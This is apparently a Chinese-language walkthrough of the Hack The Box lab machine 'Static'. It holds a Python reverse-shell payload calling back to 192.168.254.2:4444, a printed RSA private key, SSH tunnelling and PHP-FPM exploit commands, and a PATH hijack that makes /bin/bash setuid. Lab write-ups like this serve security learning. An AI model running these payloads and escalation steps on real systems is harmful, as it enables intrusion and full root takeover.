基本信息

端口扫描

22,2222两个ssh,一个8080web:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ nmap -sC -sV -Pn 10.10.10.246

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-29 14:13 CST
Nmap scan report for 10.10.10.246
Host is up (0.080s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
| 256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_ 256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
| 256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_ 256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open http Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.48 seconds

8080

直接访问是空白,robots.txt得到两个目录:

vpn

需要账号密码:

.ftp_uploads

一个gz文件和一个txt,txt说明gz文件因为ftp传输模式损坏,需要修复:

fixgz

搜到这个:

根据代码就是换行符问题,修复后解压得到账号密码及OTP secret,密码解hash就是admin:

1
2
3
admin
d033e22ae348aeb5660fc2140aec35850c4da997 (admin)
orxxi4c7orxwwzlo

vpn

登录前面的vpn,需要2FA,我们已经得到了secret,就可以自己生成otp,登录进去:

可以生成vpn文件,根据文件内容把域名加hosts后连接:

1
10.10.10.246    vpn.static.htb

route

连接后分配到一个ip,可以去访问web上显示的那些资源,但首先需要配置下路由,因为那些ip段本地也存在:

1
2
3
4
ip route add 172.20.0.0/24 dev utun3

# mac系统这样加
sudo route -n add -net 172.20.0.0 -netmask 255.255.255.0 172.30.0.9

web

添加路由后去访问web,info.php发现xdebug 2.6:

xdebug unearth rce

搜到这个,打到www-data:

www-data用户目录可以发现ssh私钥:

www-data-id_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA0pNa5qwGZ+DKsS60GPhNfCqZti7z1xPzxOTXwtwO9uYzZpq/
nrhzgJq0nQNVRUbaiZ+H6gR1OreDyjr9YorV2kJqccscBPZ59RAhttaQsBqHkGjJ
QEHYKteL1D+hJ80NDd7fJTtQgzT4yBDwrVKwIUSETMfWgzJ5z24LN5s/rcQYgl3i
VKmls3lsod8ilakdDoYEYt12L4ST/exEoVl0AyD9y8m651q40k1Gz4WzPnaHAlnj
mL6CANfiNAJoc8WnqZN5ruSrWhmivmDbKLlDCO5bCCzi2zMHJKqQkcBxdWk60Qhi
17UJMV3mKVQRprvpeTR2jCMykH81n2KU46doSQIDAQABAoIBAADCHxWtkOhW2uQA
cw2T91N3I86QJLiljb8rw8sj17nz4kOAUyhTKbdQ102pcWkqdCcCuA6TrYhkmMjl
pXvxXAvJKXD3dkZeTNohEL4Dz8mSjuJqPi9JDWo6FHrTL9Vg26ctIkiUChou2qZ9
ySAWqCO2h3NvVMpsKBwjHU858+TASlo4j03FJOdmROmUelcqmRimWxgneHBAHEZj
GqDuPjmPmw7pbThqlETyosrbaB3rROzUp9CKAHzYB1BvOTImDsb6qQ+GdKwewAQf
j60myPuxl4qgY8O2yqLFUH3/ovtPTKqHJSUFBO23wzS1qPLupzu1GVXwlsdlhRWA
Amvx+AECgYEA6OOd9dgqXR/vBaxDngWB6ToVysWDjO+QsjO4OpFo7AvGhMRR+WpK
qbZyJG1iQB0nlAHgYHEFj4It9iI6NCdTkKyg2UzZJMKJgErfgI0Svkh/Kdls23Ny
gxpacxW3d2RlyAv4m2hG4n82+DsoPcN+6KxqGRQxWywXtsBsYkRb+wkCgYEA53jg
+1CfGEH/N2TptK2CCUGB28X1eL0wDs83RsU7Nbz2ASVQj8K0MlVzR9CRCY5y6jcq
te1YYDiuFvT+17ENSe5fDtNiF1LEDfp45K6s4YU79DMp6Ot84c2fBDIh8ogH0D7C
CFdjXCI3SIlvc8miyivjRHoyJYJz/cO94DsTE0ECgYA1HlWVEWz4OKRoAtaZYGA1
Ng5qZYqPxsSWIL3QfgIUdMse1ThtTxUgiICYVmqmfP/d/l+TH7RI+0RIc54a7y1c
PkOhzKlqfQSnwmwgAg1YYWi/vtvZYgeoZ4Zh4X4rOTcN3c0ihTJFzwZWsAeJruFv
aIP6nGR1iyUNhe4yq6zfIQKBgANYQNAA2zurgHeZcrMUqsNdefXmB2UGPtKH9gGE
yhU9tMRReLeLFbWAfJj2D5J2x3xQ7cIROuyxBPr58VDGky2VTzRUo584p/KXwvVy
/LaJiVM/BgUCmhxdL0YNP2ZUxuAgeAdM0/e52time8DNkhefyLntlhnqp6hsEqtR
zzXBAoGBANB6Wdk/X3riJ50Bia9Ai7/rdXUpAa2B4pXARnP1/tw7krfPM/SCMABe
sjZU9eeOecWbg+B6RWQTNcxo/cRjMpxd5hRaANYhcFXGuxcg1N3nszhWDpHIpGr+
s5Mwc3oopgv6gMmetHMr0mcGz6OR9KsH8FvW1y+DYY3tUdgx0gau
-----END RSA PRIVATE KEY-----

user flag

www-data使用私钥ssh登录,端口是2222那个,user.txt在上层目录:

pki

查看ip发现双网卡,vpn界面也能看到pki是另一个网段的:

所以把pki转发出来访问:

1
ssh -L 8080:192.168.254.3:80 www-data@10.10.10.246 -p2222 -i www-data_id_rsa

根据说明大概是管理ovpn文件的

PHP-FPM

pki的响应header发现是PHP-FPM/7.1,搜到:

exploit

所以可以通过web去打pki,把exp文件和nc传到web上,执行,打到pki的www-data:

1
2
3
4
5
6
7
# local
scp -P 2222 -i www-data_id_rsa exploit.py www-data@10.10.10.246:/tmp/exploit.py
scp -P 2222 -i www-data_id_rsa nc www-data@10.10.10.246:/tmp/nc
scp -P 2222 -i www-data_id_rsa shell.py www-data@10.10.10.246:/tmp/shell.py

# web www-data shell
python3 exploit.py --url http://192.168.254.3/index.php

shell.py

1
2
3
4
5
6
import requests

payload = '/usr/bin/python3.6 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.2",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")\''

r = requests.get("http://192.168.254.3/index.php?a="+payload)
print(r.text)

ersatool

根据信息去查看ersatool,并且可以直接查看源码:

根据代码分析可以知道格式化字符串,也可以pspy64之类的分析调用,没有curl,wget之类的,可以通过bash实现:

分析可以发现ersatool调用了openssl,没有使用绝对路径,可以进行劫持

ersatool.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <libgen.h>
#include <sys/wait.h>
#include <ctype.h>

//easyrsa configuration
char ERSA_DIR[]="/opt/easyrsa";
char TA_KEY[]="/opt/easyrsa/clients/ta.key";
char OUTPUT_DIR[]="/opt/easyrsa/clients";
char BASE_CONFIG[]="/opt/easyrsa/clients/base.conf";
char EXT[]=".ovpn";

//void printCN(char*,int);
void filePrint(char*);
void revokeCN(char*,int);
void createCN(char*,int);
void integrateCN(char*);
void getHelp(char*,int);
void cleanStr(char*);

//deprecated function - prints the CN ovpn config file
//conf file can be printed with inegrateCN(); <- create
void printCN(char *cn, int i){
char fn[100];
char buffer[100];

if(i==1){
printf("print->CN=");
fflush(stdout);
memset(buffer,0,sizeof(buffer));
read(0,buffer,sizeof(buffer));
}
else {
memset(buffer,0,sizeof(buffer));
strncat(buffer,cn,sizeof(buffer));
}

if(!strncmp("\n",buffer,1)) { return; }

do{
strncpy(fn, OUTPUT_DIR,sizeof(fn));
strncat(fn, "/",sizeof(fn)-strlen(fn));
strncat(fn, strtok(basename(buffer),"\n"),sizeof(fn)-strlen(fn));
strncat(fn, EXT, sizeof(fn)-strlen(fn));
printf(buffer); //checking buffer content
filePrint(fn);
if(i==1){

printf("\nprint->CN=");
fflush(stdout);
memset(buffer,0,sizeof(buffer));
read(0,buffer,sizeof(buffer));
}
} while (strncmp("\n",buffer,1) && i==1);
}

void filePrint(char *filename){
int bfsiz=1;
char buffer[bfsiz];
int fd;
ssize_t fr;
memset(buffer,0,bfsiz);
setuid(0); //escalating privileges to read root owned files
if((fd=open(filename,O_RDONLY))<0){
printf("[!] ERR reading %s!\n",filename);
}
while(fr=read(fd,buffer,bfsiz)>0){
printf("%s",buffer);
memset(buffer,0,bfsiz);
}
close(fd);
fflush(stdout);
}

void revokeCN(char *cn, int i){
puts("[!] Not implemented");
fflush(stdout);
}

//creates and prints new CN config file
void createCN(char *cn, int i){
int devNull, sout, serr, pid, status, oid;
char EASYRSA[50];
char buffer[100];
char CMD[100];
char WD[50];

memset(EASYRSA,0,sizeof(EASYRSA));
strcat(EASYRSA,ERSA_DIR);
strcat(EASYRSA,"/easyrsa");

if(i==1){
printf("create->CN=");
fflush(stdout);
memset(buffer,0,sizeof(buffer));
read(0,buffer,sizeof(buffer));
}
else {
memset(buffer,0,sizeof(buffer));
strncat(buffer, cn, sizeof(buffer));
}

if(!strncmp("\n",buffer,1)) { return; }

do{
pid = vfork();
if(pid==0){
char *a[] = {EASYRSA,"build-client-full",strtok(basename(buffer),"\n"),"nopass","batch"};
//forge the command string
cleanStr(a[2]);
sprintf(CMD,"%s %s %.20s %s %s",a[0],a[1],a[2],a[3],a[4]);
sout=dup(STDOUT_FILENO);
serr=dup(STDERR_FILENO);
devNull=open("/dev/null",O_WRONLY);
dup2(devNull,STDOUT_FILENO);
dup2(devNull,STDERR_FILENO);
setuid(0); //escalating privilges to generate required files
chdir(ERSA_DIR);
system(CMD);
exit(0);
}
dup2(sout,STDOUT_FILENO);
dup2(serr,STDERR_FILENO);
close(devNull);
usleep(500000);
integrateCN(buffer);

if(i==1){
printf("create->CN=");
fflush(stdout);
memset(buffer,0,sizeof(buffer));
read(0,buffer,sizeof(buffer));
}
} while (strncmp("\n",buffer,1) && i==1);
}

//print valid ovpnfile for provided cn
void integrateCN(char *cn){
char PKI_DIR[50];
char KEY_DIR[50];
char CRT_DIR[50];
char CA_CERT[50];
char CN_CERT[50];
char CN_KEY[50];

memset(PKI_DIR,0,sizeof(PKI_DIR));
memset(KEY_DIR,0,sizeof(KEY_DIR));
memset(CRT_DIR,0,sizeof(CRT_DIR));
memset(CA_CERT,0,sizeof(CA_CERT));
memset(CN_CERT,0,sizeof(CN_CERT));
memset(CN_KEY,0,sizeof(CN_KEY));

strcat(PKI_DIR,ERSA_DIR);
strcat(PKI_DIR,"/pki");
strcat(KEY_DIR,PKI_DIR);
strcat(KEY_DIR,"/private");
strcat(CRT_DIR,PKI_DIR);
strcat(CRT_DIR,"/issued");
strcat(CA_CERT,PKI_DIR);
strcat(CA_CERT,"/ca.crt");
strcat(CN_CERT,CRT_DIR);
strcat(CN_CERT,"/");
strcat(CN_CERT,basename(cn));
strcat(CN_CERT,".crt");
strcat(CN_KEY,KEY_DIR);
strcat(CN_KEY,"/");
strcat(CN_KEY,basename(cn));
strcat(CN_KEY,".key");

filePrint(BASE_CONFIG);

printf("<ca>\n");
filePrint(CA_CERT);
printf("</ca>\n");

printf("<cert>\n");
filePrint(CN_CERT);
printf("</cert>\n");

printf("<key>\n");
filePrint(CN_KEY);
printf("</key>\n");

printf("key-direction 1\n<tls-auth>\n");
filePrint(TA_KEY);
printf("</tls-auth>\n");
fflush(stdout);
}

void getHelp(char *prog, int i){
if(i==1) {
printf("create|print|revoke|exit\n");
fflush(stdout);
}
else{
printf("batch mode: %s create|print|revoke CN\n",prog);
fflush(stdout);
exit(255);
}
}

//clean non alphanum chars from string to secure
void cleanStr(char *str)
{
unsigned long i = 0;
unsigned long j = 0;
char c;

while ((c = str[i++]) != '\0')
{
if (isalnum(c))
{
str[j++] = c;
}
}
str[j] = '\0';
}

int main(int argc, char **argv){
int interactive=0;
char opt[8];
char *cn;

if(argc!=3 && argc!=1){
getHelp(argv[0],interactive);
}
else if(argc==1){
interactive=1;
printf("# ");
fflush(stdout);
memset(opt,0,sizeof(opt));
read(0,opt,sizeof(opt));
cn=NULL;
}
else {
strncpy(opt,argv[1],sizeof(opt));
cn=argv[2];
}

do {
if(!strncmp("revoke",opt,6)){
revokeCN(cn,interactive);
}
else if (!strncmp("print",opt,5)){
printCN(cn,interactive);
}
else if (!strncmp("create",opt,6)){
createCN(cn,interactive);
}
else if (!strncmp("exit",opt,4)){
exit(0);
}
else{
getHelp(argv[0], interactive);
}

if(interactive==1){
memset(opt,0,sizeof(opt));
printf("# ");
fflush(stdout);
memset(opt,0,sizeof(opt));
read(0,opt,sizeof(opt));
}
} while(interactive==1);
}

提权 & root flag

可以尝试给bash加suid:

1
2
3
4
5
6
$ cat openssl | base64
IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaAoK

echo "IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaAoK" | base64 -d > openssl

export PATH=/tmp/miao:$PATH

然后运行ersatool,随意create一个使其调用openssl,推出发现bash加上了suid,执行,读取root.txt:

openssl

1
2
#!/bin/bash
chmod u+s /bin/bash

参考资料